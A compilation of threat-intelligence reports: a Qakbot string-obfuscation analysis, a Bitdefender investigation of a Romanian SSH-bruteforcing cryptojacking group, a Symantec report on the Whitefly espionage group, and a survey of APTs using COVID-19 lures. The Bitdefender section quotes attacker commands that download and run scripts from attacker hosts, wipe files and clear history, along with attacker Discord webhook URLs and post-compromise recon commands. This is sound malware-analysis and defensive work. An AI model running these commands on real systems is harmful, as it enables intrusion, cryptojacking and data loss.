- Win32.N3Cr0m0rPh.TC.d
## IOCs
- hxxp://gxbrowser[.]net
- 7c7273d0ac2aaba3116c3021530c1c868dc848b6fdd2aafa1deecac216131779 – out.py (less obfuscated)
- 05908f2a1325c130e3a877a32dfdf1c9596d156d031d0eaa54473fe342206a65 – out.py (more obfuscated)
- ac4f2e74a7b90b772afb920f10b789415355451c79b3ed359ccad1976c1857a8 – out.py (including the xmrig1 installation)
- ac6818140883e0f8bf5cef9b5f965861ff64cebfe181ff025e1f0aee9c72506c – xmrig1
## References
- https://kiwiirc.com/ |
# Qakbot Series: String Obfuscation
In late March 2022, I was requested to analyze a software artifact. It was an instance of Qakbot, a modular information stealer known since 2007. Differently from other analyses I do as part of my daily job, in this particular case I can disclose wide parts of it with you readers. I’m addressing them in a post series. Here, I’ll discuss the string obfuscation technique based on this specific sample.
Looking at the strings embedded into a software artifact is one of the first approaches an analyst may attempt during the triaging stage. For those of you who don’t know what I’m talking about, strings are sequences of bytes that, once interpreted as characters, form meaningful words. During the process that starts with a program source code and ends with that program being compiled and ready to run, strings are usually preserved. What does that mean? It means that if you have a string in the source code, e.g., a path or a function name, then that string will lie in the object code after the compilation of the sources. Strings may be a useful source of information to quickly understand the capabilities of a piece of software and immediately focus on specific areas of the artifact deserving a closer look. Strings can be statically extracted, i.e., you don’t need to execute the software to obtain them.
Naturally, malware developers know the importance of the strings during the analysis process. Therefore, they tend to hide this source of information from their products. One easy and cheap technique to hide strings like variable names and function names is to strip them from the binary. This is achievable simply by compiling the source with particular flags. Another technique aimed at hiding the most valuable strings is called string obfuscation. String obfuscation consists of storing the strings in encrypted or obfuscated form so that they cannot be recognized and extracted from the artifact. Those strings are decrypted at runtime and consumed by the software when they are needed. The Qakbot sample I analyzed implements a string obfuscation technique.
Indeed, the strings analysis for the sample object of analysis wasn’t really fruitful when I tried to do it. There were not so many meaningful strings overall, and most of them were unreferenced or, in general, not providing any insight. There was only one exception: the presence of 18 very long and apparently meaningless strings. We postpone a discussion about their purpose to another post since it regards another anti-analysis technique. The reason why the string analysis wasn’t so effective is that the vast majority of them are obfuscated to hide evidence of the malware capabilities.
All the meaningful and relevant strings are stored in obfuscated form in two continuous blobs. The first blob is located at 0xb542b8 and the second blob is located at 0xb551f8. A string is de-obfuscated by XOR-ing the specific part of the blob with a key stored as a continuous sequence of bytes. Each blob is XOR-ed with a different key. There are two instances of the function implementing the string de-obfuscation, one starts at 0xb302c6 and another one starts at 0xb227a1. As you may notice from the decompiled code for one of those instances, it expects four arguments: the blob where the string is contained, the size of the blob, the XOR key, and the starting offset of the obfuscated string within the blob.
```python
def deobfuscate_string(blob1: bytes, p1: int, blob2: bytes, p3: int) -> bytes:
l8 = 0
i = p3
if p3 <= p1:
while i <= p1:
if blob2[i % 0x5a] == blob1[i]:
l8 = i - p3
break
i += 1
lc = bytearray([0] * (l8))
i = 0
if l8 > 0:
while i < l8:
lc[i] = blob2[(p3 + i) % 0x5a] ^ blob1[p3:][i]
i += 1
return bytes(lc)
```
Listing 1 shows a Python translation of the Qakbot string deobfuscation function. I had to code it since the offset of many strings into the sample code is computed at runtime instead of being hardcoded. That function replicates the algorithm implemented in the sample. Here you will find a complete list of the de-obfuscated strings produced by our script. For each string, I mention the containing blob and the starting offset within the blob. In that list, you’ll find a lot of potentially interesting elements regarding the malware capabilities. I’ll discuss some of them in the coming blog posts.
As always, if you want to share comments or feedback (rigorously in broken Italian or broken English), do not hesitate to drop me a message at admin[@]malwarology.com. |
# How We Tracked a Threat Group Running an Active Cryptojacking Campaign
Bitdefender security researchers have discovered a threat group likely based in Romania that's been active since at least 2020. They've been targeting Linux-based machines with weak SSH credentials, mainly to deploy Monero mining malware, but their toolbox allows for other kinds of attacks.
Hackers going after weak SSH credentials is not uncommon. Among the biggest problems in security are default usernames and passwords, or weak credentials hackers can overcome easily with brute force. The tricky part is not necessarily brute-forcing those credentials but doing it in a way that lets attackers go undetected.
Like any other threat group, the tools and methods they use can identify them. In this case, their activity involves obfuscating Bash scripts by compiling them with a shell script compiler (shc) and using Discord to report the information back.
In addition to traditional tools such as `masscan` and `zmap`, the threat actors' toolkit includes a previously unreported SSH bruteforcer written in Golang. This tool appears to be distributed on an as-a-service model, as it uses a centralized API server. Each threat actor supplies their API key in their scripts. Like most other tools in this kit, the brute force tool has its interface in a mix of Romanian and English. This leads us to believe that its author is part of the same Romanian group.
## Introduction
We started investigating this group in May 2021 because of their cryptojacking campaign with the `.93joshua` loader. Surprisingly, we traced the malware easily to `http://45[.]32[.]112[.]68/.sherifu/.93joshua` in an open directory. It turns out that the server hosted other files. Although the group hid many of the files, their inclusion in other scripts revealed their presence. The associated domain, `mexalz.us`, has hosted malware at least since February 2021.
The following tree shows an aggregated representation of the files currently or formerly hosted on `mexalz.us`:
```
mexalz.us
|-- .sherifu/
| | .93joshua
| | .k4m3l0t
| | .purrple
| | .zte_error
| | find.sh
| |-- jack.tar.gz
| | |-- .jack1992/
| | | | brute
| | | | dabrute
| | | | lists/
| | | | mass
| | | | masscan
| | | | pass
| | | | ranges_1.lst
| | juanito.tar.gz
| | |-- .juanito/
| | | | brute
| | | | go
| | | | pass
| | | | ps2
| | | | r
| | kamelot.tar.gz
| | |-- .md/
| | | go
| | | haiduc
| | | pass
| | satan.db
| | scn.tar.gz
| | |-- .md/
| | | go
| | | haiduc
| | | pass
| | sefu
| | skamelot.tar.gz
| | |-- .b87kamelot/
| | | | 99x
| | | | go
| | | | p
| | | | r
| | | sky
|-- .mini
| | .black
| | .report_system
| | PhoenixMiner.tar
| | banner
| | ethminer.tar
| | masscan
```
We'll be focusing on the original tools in this kit. Some of the files deserve special mention, as they can be connected to attacks seen in the wild.
The files `sefu` (bash script) and `satan.db` (gzip archive) are used to propagate the `chernobyl` Demonbot variant, which is hosted on a different server. The infection payload follows these simple steps:
```
cd /tmp
cd /run
cd /;
wget http://194[.]33[.]45[.]197:8080/chernobyl/chernobyl.sh;
chmod 777 chernobyl.sh;
sh chernobyl.sh chernobyl;
tftp 194[.]33[.]45[.]197 -c get chernobyltftp1.sh;
chmod 777 chernobyltftp1.sh;
sh chernobyltftp1.sh chernobyl;
tftp -r chernobyltftp2.sh -g 194[.]33[.]45[.]197;
chmod 777 chernobyltftp2.sh;
sh chernobyltftp2.sh chernobyl;
rm -rf chernobyl.sh chernobyltftp1.sh chernobyltftp2.sh;
rm -rf *;
history -c
```
`sky` is a common Perl IRC bot, customized only in respect to the server details and used nicknames. Its C2 is at `area17[.]mexalz[.]us:6667`.
## Finding the Victims
There's no shortage of compromisable Linux machines with weak SSH credentials. The trick is to find them, and that's done through scanning. Attackers host several archives on the server, including `jack.tar.gz`, `juanito.tar.gz`, `scn.tar.gz`, and `skamelot.tar.gz`.
These contain toolchains for cracking servers with weak SSH credentials. We can separate this process into three stages:
1. **Reconnaissance**: identifying SSH servers via port scanning and banner grabbing
2. **Credential Access**: identifying valid credentials via brute-force
3. **Initial Access**: connecting via SSH and executing the infection payload
Depending on the stage, the attackers use different tools. For example, `ps` and `masscan` are used for reconnaissance, while `99x` / `haiduc` (both Outlaw malware) and `brute` are used for credential access and initial access.
In the currently live campaign, the attackers use `skamelot.tar.gz`, which includes the following files:
- `r` (SHC compiled script) iterates through IP classes and runs `go`
- `go` (SHC compiled script) runs `99x` (haiduc) with the infection payload
- `p` is a list of attempted credentials
The infection payload executed in the SSH sessions is:
```
curl -O http://45[.]32[.]112[.]68/.sherifu/.93joshua && chmod 777 .93joshua && ./.93joshua && uname -a
```
Note: This file is still online, but attackers relocated to `mexalz.us`.
## It All Begins with a Loader
After the attackers find and enter into a Linux device with inadequate SSH credentials, they deploy and execute the loader. In the current campaign, they use `.93joshua`, but they have a couple of others at their disposal: `.purrple` and `.black`. All of the loaders are obfuscated via `shc`.
The loader gathers system information and relays it to the attacker using an HTTP POST to a Discord webhook. By using Discord, the threat actors circumvent the need to host their own command-and-control server, as webhooks are means to post data on a Discord channel programmatically. The gathered data can also be conveniently viewed on a channel.
Discord is increasingly popular among threat actors because of this functionality, as it involuntarily provides support for malware distribution (use of its CDN), command-and-control (webhooks), or creating communities centered around buying and selling malware source code and services (e.g., DDoS).
The information gathered at this step lets the threat actor witness the effectiveness of their tools in infecting machines. The list of victims may also be collected to carry out potential post-exploitation steps.
In another step of its operation, the loader alters the shell configuration, overwriting the `.bashrc` and `.bash_profile` files. The auxiliary file `/usr/.SQL-Unix/.SQL/.db`, used to store part of the commands, is executed via the source built-in in `.bashrc`. This script, in turn, contains commands that overwrite `.bashrc`.
Several shell commands are disabled using bash aliases. The purpose of these configurations is to render the shell inoperable to other operators, whether they are competing in the realms of malware or they’re legitimate users of the system.
The attackers also try to achieve persistence so the loader drops some redundant scripts. Their names differ between versions of the loader, so we will refer to those in the `.93joshua` script:
- `.k93` is used to launch the miner (`.k4m3l0t`)
- `/usr/bin/sshd` is a `systemd` service script that launches `.k93`
- `.5p4rk3l5` is a crontab file that executes `.93joshua` and `.k93`
Several persistence methods are employed:
- creating a user and adding it to the sudo group; various names are used: `gh0stx`, `sclipicibosu`, `mexalzsherifu`
- adding an SSH key to `authorized_keys` (attackers cycled through three different keys depending on the script)
- creating a `systemd` service called `myservice` which runs the `/usr/bin/sshd` script
## Mining for Monero
All of this effort is currently directed towards Monero mining. While the current campaign concerns cryptojacking, we have connected this group to several DDoS botnets: a Demonbot variant called `chernobyl` and a Perl IRC bot.
As you all know, mining for cryptocurrency is slow and tedious, but it can go faster when using multiple systems. Owning multiple systems for mining is not cheap, so attackers try the next best thing: to remotely compromise devices and use them for mining instead.
In this case, the group uses custom compiled binaries with embedded configurations of a legitimate miner named XMRig. Typically, the JSON configuration file, which also includes the users and where the currency goes, is external. But in this compiled version, the configuration file is embedded.
## Unfortunately, Brute Force Still Works
People are the simple reason why brute-forcing SSH credentials still works. Dedicated tools are required for this process, and, in this situation, it's something developed by the group itself.
This tool, which its author dubbed "Diicot brute", is contained in `jack.tar.gz` and `juanito.tar.gz` archives. As the usage string from the binary shows, it takes as command-line arguments a port, an "API key", number of threads, a file containing a list of IP addresses to be scanned, and a timeout value (seconds).
**Syntax**: `./brute [ Port ] [ Key ] [ Routines ] [ IP File ] [ Timeout ]`
Written in Golang, the binary was developed in a single package, which contains the following functions. While most of the tools used by Mexalz can be used by themselves, the "Diicot bruter" is meant to operate on a SaaS (software as a service) model. The binary communicates with three servers:
- an update server (`cdn[.]arhive[.]online`)
- an API server (`requests[.]arhive[.]online`)
- Discord API servers
The tool requires an "API key", supplied as a command-line argument. The key is provided as a parameter in the API endpoints used to retrieve the user's configuration. The configuration includes the user's Discord ID, a Discord webhook where the tool's output is POSTed, and a version number (presumably, the latest version to which the user is licensed to use).
The `dabrute` and `go` scripts contain keys of this type. Rather than random strings, they look like usernames and differ between the two instances, strengthening the assumption that the owners of this toolkit are distinct individuals belonging to the same threat group that share tools among themselves.
Discord hooks are used to report on:
- the start and finish of the tool's execution
- successful exploitations
Two types of hooks are used: user-dependent, which are retrieved from the API server using the API key, and global, which are hardcoded.
The global hooks are:
```
https://discord[.]com/api/webhooks/796089316517347369/zRjSflkA7z9C4N9PaPWIJQFLMSKGk5iJNv9T_Z880jhLOpkQ3OEGsbdz4GsX80
https://discord[.]com/api/webhooks/845977569446068234/ggGoh-5DEpMLtIi0OKNc8z3b3MgxjZaxovL0R0dBiMsP0hnMTIkNx_JoFTLKJtbyRSx
```
The `main.remoteRun` function is executed in a dedicated goroutine (lightweight thread) for each (host, username, password) combination. The implementation of the SSH protocol is provided by the standard library package `golang.org/x/crypto/ssh`.
After a successful authentication, the following bash commands are executed in the session with the purpose of collecting system information:
```
uname -s -v -n -r -m
uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'
uptime | grep -ohe '[0-9.*] user[s,]'
lscpu | sed -nr '/Model name/ s/.*:\\s*(.*) @ .*/\\1/p'
nproc --all
nvidia-smi -q | grep \"Product Name\"
lspci
cut -d: -f6 /etc/passwd | grep \"/home/\"
```
Notably, one of the commands intends to discover the GPU model, which would be useful to judge the victim's potential in a cryptojacking scheme.
Owing to an auto-update feature in the binaries, we managed to locate where it is hosted and gain insight into how it is distributed. The update server is set up using Github pages.
The repository is revealed by following the redirect chain:
```
cdn[.]arhive[.]online/brute -> developer60-stack.github.io/payload.github.io/cdn/brute
```
The repository (`github.com/developer60-stack/payload.github.io`) contains:
- `setup`, an example usage of the `brute` tool that chains the `zmap` port scanner, a banner grabber and a stage for filtering out SSH servers that do not accept password authentication
- `brute`, the compiled tool
- `install`, a script for installing dependencies and downloading the tool; both setup and install report after every execution stage to a Discord hook
Created on May 1, 2021, the repository underwent 35 updates (commits). An advertisement posted on the hacking forum `cracked.to` in November 2020 shows the price charged for this service and a collage of images showing its interface, including screenshots from the Discord channel.
The author claims that their tool can filter out honeypots, but this investigation is proof that it doesn't, or at least it couldn’t evade ours. Our honeypot data shows attacks matching this tool's signature starting in January 2021. The IP addresses they originate from belong to a relatively small set, which tells us that the threat actors are not yet using compromised systems to propagate the malware (worm behavior).
More information about this threat actor can be freely provided to law enforcement agencies by reaching out to [email protected].
## Indicators of Compromise
**Samples:**
| sha256 | type | name | purpose |
|-------------------------------------------------------------------------------------------|------|----------------------|---------|
| d73a1c77783712e67db71cbbaabd8f158bb531d23b74179cda8b8138ba15941e | ELF | .93joshua | loader |
| ed2ae1f0729ef3a26c98b378b5f83e99741b34550fb5f16d60249405a3f0aa33 | ELF | .zte_error | miner |
| ef335e12519f17c550bba98be2897d8e700deffdf044e1de5f8c72476c374526 | ELF | .k4m3l0t | miner |
| 9de853e88ba363b124dfce61bc766f8f42c84340c7bd2f4195808434f4ed81e3 | ELF | .black | loader |
| eb0f3d25e1023a408f2d1f5a05bf236a00e8602a84f01e9f9f88ff51f04c8c94 | ELF | .purrple | loader |
| dcc52c4446adba5a61e172b973bca48a45a725a1b21a98dafdf18223ec8eb8b9 | ELF | .report_system | miner |
| 99531a7c39e3ea9529f5f43234ca5b23cb7bb82ee54f04eff631f5ca9153e6d4 | ELF | go | scanner |
| 74a425bcb5eb76851279b420c8da5f57a1f0a99a11770182c356ba3160344846 | ELF | go | scanner |
| 9f691e132f5a2c9468f58aeac9b7aa5df894d1ad54949f87364d1df2bf005414 | script | go | scanner |
| f53241f60a59ba20d29fab8c973a5b4c05c24865ae033fffb7cdfa799f0ad25d | ELF | r | scanner |
| 275ef26528f36f1af516b0847d90534693d4419db369027b981f77d79f07d357 | script | dabrute | scanner |
| 8beccb10b004308cadad7fa86d6f2ff47c92c95fc557bf05188c283df6942c13 | ELF | brute | scanner |
| f9ed735b2b8f89f9d8edfc6a8d11a4ee903e153777b33d214c245a02636d7745 | ELF | brute | scanner |
| 23cf4c34f151c622a5818ade68286999ae4db7364b5d9ed7b8ed035c58116179 | script | sky | IRC bot |
| 8dfdbc66ac4a38766ca1cb45f9b50e0f7f91784ad9b6227471469ae5793f6584 | script | find.sh | scanner |
| f1d4e2d8f63c3b68d56c668aafbf1c82d045814d457c9c83b37115b61c535baa | archive | jack.tar.gz | |
| 3078662f56861c98f96f8bc8647ffa70522dbc22cbd7ba91b9c80bc667d2a3a9 | archive | juanito.tar.gz | |
| 2a8298047add78360dc3e6d5ac4a38ddb7a67deebc769b1201895afe39b8c0e1 | archive | kamelot.tar.gz | |
| 7bfb35caf3f8760868c2985c4ccf749b14deab63ac6effd653871094fed0d5e5 | archive | satan.db | |
| f6e92eff8887ee28eb56602a3588a3d39ca24a35d9f88fe2551d87dc6ced8913 | archive | scn.tar.gz | |
| 8bf108ab897a480c44d56088662e592c088939eeb86cccaac6145de35eb3a024 | script | sefu | |
| 31a88ff5c0888bcbbbd02c1c18108c884ff02fd93a476e738d22b627e24601c0 | archive | skamelot.tar.gz | |
| e89b40a6e781ad80d688d1aa4677151805872b50a08aaf8aa64291456e4d476d | archive | PhoenixMiner.tar | |
| 2ef26484ec9e70f9ba9273a9a7333af195fb35d410baf19055eacbfa157ef251 | ELF | banner | scanner |
| 8970d74d96558b280567acdf147bfe289c431d91a150797aa5e3a8e8d52fb27d | archive | ethminer.tar | |
| 9aa8a11a52b21035ef7badb3f709fa9aa7e757788ad6100b4086f1c6a18c8ab2 | ELF | masscan | scanner |
| 1275e604a90acc2a0d698dde5e972ff30d4c506eae526c38c5c6aaa6a113f164 | script | setup | |
| 977dc6987a12c27878aef5615d2d417b2b518dc2d50d21300bfe1b700071d90e | script | install | |
| ccda60378a7f3232067e2d7cd0efe132e7a3f7c6a299e64ceba319c1f93a9aa2 | ELF | brute | scanner |
**Paths:**
- `/usr/bin/.locationesclipiciu`
- `/var/tmp/.ladyg0g0/.pr1nc35`
- `/usr/.SQL-Unix/.SQL/.db`
- `/var/tmp/.SQL-Unix/.SQL/.db`
- `/usr/bin/.pidsclip`
**Network Indicators:**
- `Mexalz.us`
- `area17.mexalz.us`
- `45.32.112.68`
- `207.148.118.221`
- `requests.arhive.online`
- `cdn.arhive.online`
## Tags
anti-malware research
**Author**: Bitdefender
The meaning of Bitdefender’s mascot, the Dacian Draco, a symbol that depicts a mythical animal with a wolf’s head and a dragon’s body, is “to watch” and to “guard with a sharp eye.” |
# Whitefly: Espionage Group has Singapore in Its Sights
Group behind the SingHealth breach is also responsible for a string of other attacks in the region.
In July 2018, an attack on Singapore’s largest public health organization, SingHealth, resulted in a reported 1.5 million patient records being stolen. Until now, nothing was known about who was responsible for this attack. Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information.
Whitefly compromises its victims using custom malware alongside open-source hacking tools and living off the land tactics, such as malicious PowerShell scripts.
## Whitefly’s targets
From mid-2017 to mid-2018, Whitefly launched targeted attacks against multiple organizations. While most of these organizations were based in Singapore, some were multinational organizations with a presence in Singapore. To date, Whitefly has attacked organizations in the healthcare, media, telecommunications, and engineering sectors.
## How Whitefly compromises its victims
Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image. These files frequently purport to offer information on job openings or appear to be documents sent from another organization operating in the same industry as the victim. Given the nature of disguise, it’s highly likely that they are sent to the victim using spear-phishing emails.
If opened, the dropper runs a loader known as Trojan.Vcrodat on the computer. Whitefly has consistently used a technique known as search order hijacking to run Vcrodat. This technique takes advantage of the fact that Windows does not require an application to provide a specific path for a DLL that it wishes to load. If no path is provided, Windows searches for the DLL in specific locations on the computer in a predefined order. Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it. Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors. The group leverages search order hijacking to assure that its malicious DLLs will be executed. Targeting security applications could allow the attackers to gain higher privileges for the malware, since the vendor’s component may be run with elevated privileges.
Once executed, Vcrodat loads an encrypted payload onto the victim’s computer. The payload contacts a command and control (C&C) domain. Whitefly configures multiple C&C domains for each target. The payload sends system information about the infected computer to the C&C server and downloads additional tools.
Whitefly usually attempts to remain within a targeted organization for long periods of time—often months—in order to steal large volumes of information. Once the initial computer on the targeted organization’s network is infected with Vcrodat, Whitefly begins mapping the network and infecting further computers. In order to carry out this operation, it uses publicly available tools, including Mimikatz (Hacktool.Mimikatz) and an open-source tool that exploits a known Windows privilege escalation vulnerability (CVE-2016-0051) on unpatched computers. The attackers rely heavily on tools such as Mimikatz to obtain credentials. Using these credentials, the attackers are able to compromise more machines on the network and, from those machines, again obtain more credentials. They perform this tactic repeatedly until they gain access to the desired data.
Whitefly keeps the compromise alive by deploying a number of tools that facilitate communication between the attackers and infected computers. These tools include a simple remote shell tool that will call back to the C&C server and wait for commands, and an open-source hacking tool called Termite (Hacktool.Rootkit), which allows Whitefly to perform more complex actions such as controlling multiple compromised machines at a time.
## Additional malware used in selected attacks
In some attacks, Whitefly has used a second piece of custom malware, Trojan.Nibatad. Like Vcrodat, Nibatad is also a loader that leverages search order hijacking and downloads an encrypted payload to the infected computer. Similar to Vcrodat, the Nibatad payload is designed to facilitate information theft from an infected computer. While Vcrodat is delivered via the malicious dropper, we have yet to discover how Nibatad is delivered to the infected computer. Why Whitefly uses these two different loaders in some of its attacks remains unknown. And while we have found both Vcrodat and Nibatad inside individual victim organizations, we have not found any evidence of them being used simultaneously on a single computer.
## Links to other attacks
Some of the tools that Whitefly has used in its attacks have also been deployed in other targeted attacks outside Singapore. Between May 2017 and December 2018, a multi-purpose command tool that has been used by Whitefly was also used in attacks against defense, telecoms, and energy targets in Southeast Asia and Russia. The tool appears to be custom-built and, aside from its use by Whitefly, these were the only other attacks where Symantec has observed its use. In another case, Vcrodat was also used in an attack on a UK-based organization in the hospitality sector. It's possible Whitefly itself performed these attacks but it’s more likely that they were carried out by one or more other groups with access to the same tools.
## Adept attackers with a large toolset
It now appears that the SingHealth breach was not a one-off attack and was instead part of a wider pattern of attacks against organizations in the region. Whitefly is a highly adept group with a large arsenal of tools at its disposal, capable of penetrating targeted organizations and maintaining a long-term presence on their networks. Links with attacks in other regions also present the possibility that it may be part of a broader intelligence gathering operation.
## Protection/Mitigation
Symantec has the following protection in place to protect customers against these attacks:
**File-based protection**
| MD5 | SHA2 | Description |
| --- | --- | --- |
| eab0a521aa7cac62d98d78e-f845a8319 | a196dfe4ef7d422aad-f1709b12511ae82cb96aad030422b00a9c91fb60a12f17 | Trojan.Vcrodat |
| 79be-f92272c7d1c6236a03c26a0804cc | d784a12fec628860433c28caa353b-b52923f39d072437393629039fa4b2ec8ad | Trojan.Vcrodat |
| 394df628b3c8977661c8be-bea593e148 | 6e874ac92c7061300b402dc616a1095-fa7d13c8a18c8a3ea5b30ffa832a7372c | Trojan.Nibatad |
| 51862c3615e2f8a807b1d59f3ae-f3507 | ed3cd71eaca603a00e4c0804dc34d84d-c38c6c1e1c1f43af0568fb162c44c995 | DLL Shellcode Loader |
| b4a7049b90503534d494970851b-dda62 | 9d9a6337c486738edf4e5d1790c023ba172ce9b039d-f1b7b9720ed4c4c9ade90 | DLL Shellcode Loader |
| 93c9310f3984d96f53f226f5177918c4-ca78b2070d5843f08d2cf351e8c239d5 | 263dc5a8121d20403beeeea452b6f33d51d41c6842d9d19919def1f1cb13226c | CVE-2016-0051 privilege escalation |
| b2b2e900aa2e96f-f44610032063012aa0435a47a5b416c384b-d6e4e58a048ac9 | dda22de8ad7d807cdac8c269b7e3b35a3021dcbf-f722b3d333f2a12d45d9908d | Simple command line remote access tool |
| f562e9270098851dc716e3f17dbac-c7f9e2f98f03ec5f1242b341baf1f7d544c | Simple command line remote access tool |
| 7de8b8b314f2d2fb54f8f8ad4b-ba435e8fc58b894b1680e5028c90c0a524ccd9 | Multi-purpose command tool |
The Attack Investigation Team is a group of security experts within Symantec Security Response whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis which helps customers respond to attacks. |
# APTs and COVID-19: How Advanced Persistent Threats Use the Coronavirus as a Lure
## Introduction: APT Groups Using COVID-19
Coronavirus (COVID-19) has become a global pandemic, upending economies, livelihoods, schools, and hospital systems—nearly every facet of everyday life has been touched. Such uncertainty and fear surrounding the virus and its impact represent a golden opportunity for threat actors to exploit the situation. By using social engineering tactics such as spam and spear phishing campaigns with COVID-19 as a lure, cybercriminals and threat actors increase the likelihood of successful attacks.
From late January on, several cybercriminal and state-sponsored groups have been doing just that, using coronavirus-themed phishing emails as their infection vector to gain a foothold on victim machines. Just like the coronavirus itself, China was the first target of Advanced Persistent Threat (APT) groups, and as the virus spread worldwide, so did the cyberattacks. Once their victims’ attention was captured by social engineering, threat actors used various techniques to deploy malware, such as embedding macros in Microsoft documents attached to phishing emails or exploiting system or browser vulnerabilities to drop malicious software.
## Template Injection
Template injection refers to a technique in which threat actors embed a script moniker in the lure document—usually a Microsoft Office document—that contains a link to a malicious Office template via an XML setting. Upon opening the document, the remote template is dropped and executed. Kimsuky and Gamaredon are examples of APTs using template injection.
### Kimsuky
Kimsuky (also known as Velvet Chollima) is a North Korean threat actor group that has been active since 2013 and is known to be behind the KHNP (Korea Hydro & Nuclear Power) cyber terrorism attacks of 2014. The group mainly targets Korean think tanks, DPRK/nuclear-related targets, and several US firms with the main goal of delivering malicious payloads to its targets and stealing web application accounts.
Starting in early March 2020, Kimsuky began using spear phishing emails with COVID-19 in the subject line as its initial infection vector. The emails contain malicious documents weaponized with CVE-2017-0199. This vulnerability allows remote code execution by exploiting a flaw in the Microsoft Office OLE interface to deliver malware.
Upon opening the document, a prompt asks victims to “enable content” to show information about the coronavirus. After enabling the content, a script moniker “in word/_rels/setting[.]xml[.]rels” is triggered and drops a Microsoft document template called web.dotm from a specified URL. The “web.dotm” has an embedded macro designed to target Mac users. This macro also runs on Windows OS; however, it only executes its main malicious functionality on a Mac. There is an “If statement” that checks the operating system and executes a remote Python script called “Secured.APP”.
The second payload is spyware that collects information by running several commands and sending the collected data to its C&C server. The main function is “SpyLoop,” which collects and sends device/user information in an infinite while loop. The list of collected information includes architecture info, system info, Apple Pay, audio, Bluetooth, camera, external network info, firewall, hardware info, language and region, list of running processes, list of installed applications, list of files in Documents/Downloads/Desktop directory, list of volumes, and list of users.
The directory is then compressed with a password and uploaded as a zip file in an HTTP request. The next function in the loop is “ExecNewCommand,” which is likely used to download additional content. It then sleeps for five minutes and repeats the same process.
### Gamaredon
Gamaredon is a Russian APT that primarily performs cyber espionage operations against Ukrainian military forces, as well as individuals related to the Ukrainian government. Gamaredon has been active since 2013 and often uses spear phishing as its initial infection vector.
Between March 23 and 25, Gamaredon sent phishing emails using the COVID-19 theme and employed remote template injection within their lure, a Microsoft Word document written in Russian. Upon opening the document, a remote template is dropped from the link provided in the XML setting. The malicious macro in this document is executed in the “Document_close” function, which could be to bypass dynamic analysis if the document is not closed before the sandbox times out. The macro collects the computer name, home drive’s label/serial number, and BIOS information and sends it to a hardcoded C2 server.
### Malicious Macros
Embedding malicious macros is the most popular method of infection used by APTs. In this attack vector, a macro is embedded in the lure document that will be activated upon its opening.
#### Kimsuky
Kimsuky is also using COVID-19-themed malicious macros to target Windows users mostly in South Korea. The malicious macro is obfuscated. After de-obfuscating the script, it uses “mshta” to execute a malicious search.hta file from its server. The downloaded script is spyware that collects sensitive information, such as IP addresses, usernames, list of processes, RDP information, and Outlook information, and sends it back to the server.
#### Konni (APT37)
Konni is a North Korean APT that has been active since 2012 and is known to target South Korean organizations in various industries. In mid-March, they began sending spear phishes with COVID-19 warnings, ironically advising readers to watch out for North Korean cybercrime spikes related to the spread of the virus. The embedded macro in this document includes an encrypted executable code that is XOR decoded and stored in the user directory. The dropped executable is a downloader for their popular Konni Remote Access Trojan (RAT).
### APT36
APT36 is another threat group that has employed macro-embedded COVID-19 themes in their recent campaigns. The group is believed to be Pakistani state-sponsored, mainly targeting the defense, embassies, and government of India. Their coronavirus attacks began on March 12 and included phishing emails with attached malicious documents, which dropped Crimson RAT payloads on victim machines.
### Patchwork
Patchwork, also known as Dropping Elephant, Chinastrats, APT-C-09, and Quilted Tiger, is an Indian threat actor that has been active since 2013. The primary targets of this APT are organizations related to diplomatic and government agencies in various countries. In early February, Patchwork began sending phishing emails with a COVID-19 theme, using malicious Excel documents to target Chinese organizations. The embedded macro downloads a script responsible for dropping and executing another payload, which is a custom backdoor developed by the actor.
### Hades
Hades is the APT group behind the attack against the Pyeongchang Winter Olympics. In their recent campaign called Tricky Mouse, Hades targeted Ukrainian users using COVID-19 lures. The attack started by sending a macro-embedded document to victims. The embedded macro decodes and drops a RAT executable into the victim’s machine.
### TA505
TA505 is an APT group that started its activity by distributing the Dridex banking Trojan on a mass scale in 2014. Starting on March 9th, TA505 used malicious macros in their COVID-19 themed documents, which included Microsoft Excel spreadsheets. Upon opening the document, a progress bar dialog box pops up to confuse the user while the main malicious functionality is executed in the dialog box.
### TA542 (Mummy Spider)
TA542 is a Russian-speaking threat actor group behind the distribution of Emotet. Since the emergence of COVID-19, TA542 has started using coronavirus themes in various email distribution campaigns. Malicious documents distributed by the actor have embedded macros that act as a downloader for Emotet malware.
### Bitter
Bitter is suspected to be a South Asian APT group targeting Pakistan and China. This group has also used COVID-19 themes to target China. Macro-embedded documents distributed by this group download and drop a variant of its custom RAT.
### RTF Exploit
RTF is a flexible text format that was introduced by Microsoft a long time ago. The flexibility of embedding any object type within makes RTF files vulnerable to many OLE objects related vulnerabilities. Several threat actors, especially Chinese ones, use RTF files in their campaigns.
#### Calypso Group
Calypso is a Chinese APT group that has been performing cyber espionage operations since 2016. In a new campaign, called Vicious Panada, Calypso Group has targeted the Mongolian public sector by sending malicious RTF files to victims disguised as COVID-19 related documents. The RTF file exploits the equation editor vulnerability to drop a malicious DLL that is executed each time the Microsoft Word application is launched.
#### Chinese Actor (Winnti)
Another Chinese threat actor that used the Royal Road weaponization framework with a COVID-19 theme recently dropped a backdoor variant named Chinoxy by exploiting the equation editor vulnerability.
### Malicious LNK Files
LNK files are shortcut files used by Microsoft Windows. They are considered a Shell item type that can be executed. From 2013 on, attackers have used malicious LNK files to infect their victims.
#### Mustang Panda
Mustang Panda is a Chinese threat actor that has targeted NGOs since 2017. In their COVID-19 phishing campaign, Mustang Panda sent an LNK file containing a malicious HTA application, which contained a VB script. The command calls “mshta.exe” to execute the HTA application that drops and runs a payload.
#### Higaisia
Higaisia is another threat group using malicious LNK files to perform malicious operations using COVID-19 themes. The actor sends an LNK file disguised as a PDF via spam campaigns. Opening the LNK file leads to the execution of a command that decodes an embedded base64 payload and drops it into the victim’s machine.
## Conclusion
In this report, we provided an overview of various APT groups using the COVID-19 pandemic as a theme in several different types of malicious campaigns to increase the odds of their attacks’ success. This shows that threat actors are closely monitoring public events happening around the world and quickly employing those themes in attack vectors to take advantage of the opportunity.
